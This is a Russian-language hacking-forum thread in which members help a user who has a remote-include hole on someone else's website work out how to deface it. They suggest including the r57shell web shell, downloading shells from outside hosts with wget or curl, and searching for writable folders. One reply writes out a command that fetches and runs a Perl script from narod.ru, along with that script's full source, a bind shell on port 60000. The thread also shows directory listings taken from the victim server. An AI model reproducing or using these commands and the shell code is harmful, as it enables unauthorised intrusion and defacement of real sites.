Просмотр полной версии : Не работает system("echo Hacked > index.php");
blackbarrie
19.08.2007, 16:14
Нашёл на сайте удалённый инклуд. Могу подключать и выполнять любые PHP скрипты. Но есть одно но
Я не могу на том сервере создавать и писать в файлы
system("echo Hacked > index.php"); не работает. Через fopen("index.php", "w") тоже ессно ничего не выходит :mad:
Как можно это обойти?
И вопрос в догонку:
Как мне получить список файлов каталога, который находится на порядок выше?
echo system("cd ../");
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd);
не работает...
system() может быть запрещено использовать сервером
по поводу fopen() - это уже странно.. ты уверен, что прав хватает? я сомневаюсь...
blackbarrie
19.08.2007, 16:46
system разрешён. потому как
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd); выполняется на ура.
А вот то что прав не хватает - скорее оно так и есть. Что можно предпринять в этом случае?
проинклудь шел какойнить и посмотри
blackbarrie
19.08.2007, 17:22
Пытался проинклудить r57shell, но в итоге получаю пустую страницу...
Termin@L
19.08.2007, 17:31
Нашёл на сайте удалённый инклуд. Могу подключать и выполнять любые PHP скрипты. Но есть одно но
Я не могу на том сервере создавать и писать в файлы
system("echo Hacked > index.php"); не работает. Через fopen("index.php", "w") тоже ессно ничего не выходит :mad:
Как можно это обойти?
И вопрос в догонку:
Как мне получить список файлов каталога, который находится на порядок выше?
echo system("cd ../");
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd);
не работает...
Не понял, зачем использовать echo c system(). Результат она и так на экран выводит.
Команда для листинга верхнего каталога -
ls /../
blackbarrie
19.08.2007, 17:34
Опа, спасибо... а я пытался сделать system("ls ../"); :)
Не понял, зачем использовать echo c system(). Результат она и так на экран выводит. :rolleyes: буду знать :)
Но всё же, как задефейсить в данном случае? :)
Termin@L
19.08.2007, 17:42
С помощью качалки стоящей на сервере скачиваешь полноценный шелл - это либо wget, curl и т.д. если не стоит ничего есть команда lwp-mirror, почитай вобще в гуглу
что-то типа - system('wget http://shell.php')
unlink('index.php');
$data='Hekked';
$fp=fopen('./index.php','wb');
fputs($fp,$data);
fclose($fp);
blackbarrie
19.08.2007, 18:10
Выполняю комманду system('wget http://site/shell.txt'), а потом system('ls')
Изменений не видно...
blackbarrie
19.08.2007, 18:13
unlink('index.php');
$data='Hekked';
$fp=fopen('./index.php','wb');
fputs($fp,$data);
fclose($fp);
Я делаю так
$data='Hekked';
$fp=fopen('./site.php','wb');
fputs($fp,$data);
fclose($fp);
Вот что получаю...
Warning: fopen(./site.php) [function.fopen]: failed to open stream: Permission denied in http://site/hack on line 3
Warning: fputs(): supplied argument is not a valid stream resource in http://site/hack on line 4
Warning: fclose(): supplied argument is not a valid stream resource in http://site/hack on line 5
Basurman
19.08.2007, 18:13
А откуда ты его wget'ишь? :) у вгета 2 параметра: куда и откуда
Складируй файлы туда, куда доступ открыт. Смайлы или аватары, или хз что там еще может быть
blackbarrie
19.08.2007, 18:17
Теперь делаю так
system('wget shell.php http://site/shell.txt'); Всё равно ничего не заливается :(
Basurman
19.08.2007, 18:19
ls -la и посмотри куда доступ есть
blackbarrie
19.08.2007, 18:25
Везде стоит drwxr-xr-x или -rw-r--r--
Что должно стоять, что бы был доступ? :rolleyes:
Добавлено
Вот полный список директории, в которой находится сайт
total 67
drwxr-x--- 18 user nobody 1024 Feb 6 2007 .
drwx--x--x 11 user user 1024 Aug 11 01:59 ..
-rw-r--r-- 1 user user 356 May 15 2006 .htaccess
drwxr-xr-x 2 user user 1024 Jan 25 2007 CEPF
drwxr-xr-x 2 user user 1024 Jan 25 2007 CEU
-rw-r--r-- 1 user user 3862 Jan 25 2007 CFCintro2new.html
drwxr-xr-x 3 user user 1024 Jan 25 2007 CPFC
drwxr-xr-x 2 user user 1024 Jan 25 2007 Center
drwxr-xr-x 2 user user 1024 May 15 2006 _private
drwxr-xr-x 4 user user 1024 May 15 2006 _vti_bin
drwxr-xr-x 2 user user 1024 Jan 25 2007 _vti_cnf
-rw-r--r-- 1 user user 1754 May 15 2006 _vti_inf.html
drwxr-xr-x 2 user user 1024 May 15 2006 _vti_log
drwxr-x--- 2 user nobody 1024 May 16 2006 _vti_pvt
drwxr-xr-x 2 user user 1024 May 15 2006 _vti_txt
drwxr-xr-x 2 user user 1024 May 15 2006 cgi-bin
-rw-r--r-- 1 user user 518 Jan 30 2007 error_log
drwxr-xr-x 10 user user 1024 Jan 25 2007 user
drwxr-xr-x 3 user user 1024 Jan 25 2007 images
-rw-r--r-- 1 user user 4216 Feb 6 2007 index.php
-rw-r--r-- 1 user user 2700 Jan 25 2007 intro2new.html
-rw-r--r-- 1 user user 2356 Jan 25 2007 intro3.html
drwxr-xr-x 2 user user 1024 Jan 25 2007 legal
-rw-r--r-- 1 user user 22063 Jan 25 2007 menubar2.html
-rw-r--r-- 1 user user 2447 May 15 2006 postinfo.html
-rw-r--r-- 1 user user 312 Jan 25 2007 site_map.txt
-rw-r--r-- 1 user user 2158 Jan 25 2007 start.html
drwxr-xr-x 2 user user 1024 Feb 6 2007 style
drwxr-xr-x 10 user user 1024 Jan 30 2007 test
Basurman
19.08.2007, 18:31
wget,get,curl,lynx,links ?
wget может быть отключен
blackbarrie
19.08.2007, 18:33
phpinfo() говорит о том что cURL включён.
Как закачать файл через get,curl,lynx,links или где мне об этом можно почитать?
Basurman
19.08.2007, 18:42
http://php.fud.ru/ там curl поищи.
lynx это бровсер
drwx--x--x 11 user user 1024 Aug 11 01:59 ..
Есть там еще .htaccess - должно быть интересно внутри
blackbarrie
19.08.2007, 18:51
Вот содержимое .htaccess
# -FrontPage- IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti* order deny,allow deny from all allow from all order deny,allow deny from all AuthName www.site.org AuthUserFile /home/user/public_html/_vti_pvt/service.pwd AuthGroupFile /home/user/public_html/_vti_pvt/service.grp
blackbarrie
19.08.2007, 18:56
При попытке прочитать service.pwd получаю
Warning: readfile() [function.readfile]: open_basedir restriction in effect. File(/home/user/public_html/_vti_pvt/service.pwd) is not within the allowed path(s): (/home/user/:/usr/lib/php:/usr/local/lib/php:/tmp) in http://mysite/shell on line 16
Warning: readfile(/home/user/public_html/_vti_pvt/service.pwd) [function.readfile]: failed to open stream: Operation not permitted in http://mysite/shell on line 16
blackbarrie
19.08.2007, 18:59
А вот результат выполнения ls -la /../
total 1644
drwxr-xr-x 25 root root 1024 Aug 19 01:28 .
drwxr-xr-x 25 root root 1024 Aug 19 01:28 ..
-rw-r--r-- 1 root root 0 Aug 17 08:36 .autofsck
-rw------- 1 root root 1164 Mar 17 2006 .bash_history
drwxr-xr-x 3 root root 1024 Dec 17 2004 .cpan
-rw------- 1 root root 0 Apr 11 2005 .mysql_history
-rw------- 1 root root 1024 May 20 2006 .rnd
drwx------ 2 root root 1024 Mar 31 08:10 .screen
drwx------ 2 root root 1024 Dec 17 2004 .spamassassin
-rw------- 1 root root 1043 Aug 2 15:22 .viminfo
lrwxr-xr-x 1 root root 39 Aug 17 08:36 aquota.group -> /proc/vz/vzaquota/0000000f/aquota.group
lrwxr-xr-x 1 root root 38 Aug 17 08:36 aquota.user -> /proc/vz/vzaquota/0000000f/aquota.user
drwxr-xr-x 2 root root 1024 Dec 17 2004 backup
drwxr-xr-x 2 root root 2048 Dec 16 2006 bin
drwxr-xr-x 2 root root 1024 Dec 17 2004 boot
drwxr-xr-x 5 root root 9216 Aug 17 08:37 dev
-rw-r--r-- 1 root root 396094 Aug 17 14:40 error_log
drwxr-xr-x 48 root root 5120 Aug 19 09:00 etc
drwx--x--x 199 root root 5120 Aug 19 01:30 home
drwx--x--x 71 root root 4096 Aug 8 14:10 home2
drwxr-xr-x 2 root root 1024 Oct 7 2003 initrd
drwxr-xr-x 8 root root 3072 Dec 16 2006 lib
drwx------ 2 root root 6144 Oct 15 2005 mbox_backup
drwxr-xr-x 2 root root 1024 Oct 7 2003 mnt
drwxr-xr-x 3 root root 1024 May 15 2006 opt
drwxrwxrwx 12 root root 755712 Jul 13 12:20 php-cache
dr-xr-xr-x 429 root root 0 Aug 17 08:36 proc
-rw-r--r-- 1 root root 5206 Jan 30 2007 ps.out
drwxr-x--- 20 root root 2048 Aug 19 01:24 root
drwxr-xr-x 3 root root 2048 Dec 19 2005 sbin
drwxr-xr-x 5 root root 13312 Aug 19 01:25 scripts
-rw------- 1 root root 1024 Nov 29 2004 stunnel.rnd
drwxrwxrwt 14 root root 442368 Aug 19 09:00 tmp
drwxr-xr-x 17 root root 1024 Dec 17 2004 usr
drwxr-xr-x 19 root root 1024 Aug 17 08:37 var
blackbarrie
19.08.2007, 19:01
google.com:
Не найдено ни одного документа, соответствующего запросу inurl:"php.fud.ru" curl.
Попробуй создать папка. mkdir name_papla.
Потом поставь права 777. chmod 777 name_papka
Потом проверь сущевствуют ли вощ качалки. С помощью команды which.
Пример:which wget
Если покажет путь до wget'a то значит он сущевствует. А если не чего не появится, значит качалки не сущевствует.
Basurman
19.08.2007, 19:03
Еще написать как пользоваться гуглом?
blackbarrie
19.08.2007, 19:07
Еще написать как пользоваться гуглом?
Спасибо, ненадо :)
Уже нашёл про curl и изучаю. Просто на том сайте, что вы мне дали - нет этого материала...
Насколько я понял, curl закачивает по ftp?
curl --output /ПУТЬ_ДО_ЗАКАЧИВАЕМОГО_ФАЙЛ /SHELL.PHP http://XOST.COM/SHELL.TXT
ПРОВЕРЬ КОМАНДОЙ find . -type d -perm -2 -ls В КАКИЕ ПАПКИ МОЖНО ПИСАТЬ.
Я бы на твоем месте сделал так. Создал бы перловый сценарий вида system("cd /home;find . -type d -perm -2 -ls!!!!!!!!!!!
blackbarrie
19.08.2007, 19:11
wget стоит
/usr/bin/wget
Папку создать не хватает прав... :(
blackbarrie
19.08.2007, 19:13
а по запросу system("cd /home;find . -type d -perm -2 -ls") ничего не выдаётся...
или просто залей back.pl в tmp и выполни. Сценарий system("cd /tmp;curl --output /tmp/b.pl http://narod.ru/b.pl";perl b.pl);
CODE b.pl:
#!/usr/bin/perl
use Socket;
$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';
$0 = $cmd;
socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}
Кинь в личку линк! Все сделаю!
blackbarrie
19.08.2007, 19:23
Кинь в личку линк! Все сделаю!
Отправил
The_HuliGun
19.08.2007, 23:05
Чего вы все так паритесь? Разве после слов
Выполняю комманду system('wget http://site/shell.txt'), а потом system('ls')
Изменений не видно...
не видно, что у ТС тупо не хватает прав на запись в диру, а значит он точно не правах пользователя user, что значит, что изменить файл index.php ему не удасться никак (вопрос был как задефейсить сайт).
Выход один - рутать сервак, а ето для ТС видимо еще рановато...
Команда для листинга верхнего каталога -
ls /../
команда для листинга верхнего каталога ../ , и не надо ля-ля)
ls /../ можно заменить на ls / - этой командой ты выполняешь листинг корня =\
а по запросу system("cd /home;find . -type d -perm -2 -ls") ничего не выдаётся...
find / -type d -perm -2 -ls
или если ты хочешь найти папки на запись именно в каталоге /home, то выполняй
find /home -type d -perm -2 -ls
и не надо ставить cd /home =\\\
Да это чувак , который вопрос задал молодой еще и не заинклудил как надо(для таких r57 самое то). Я ему заинклудил уже.
Я делаю так
$data='Hekked';
$fp=fopen('./site.php','wb');
fputs($fp,$data);
fclose($fp);
Вот что получаю...
Warning: fopen(./site.php) [function.fopen]: failed to open stream: Permission denied in http://site/hack on line 3
Warning: fputs(): supplied argument is not a valid stream resource in http://site/hack on line 4
Warning: fclose(): supplied argument is not a valid stream resource in http://site/hack on line 5
Попробуй перед всем кодом поставить
chmod('./index.php', 0777);
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot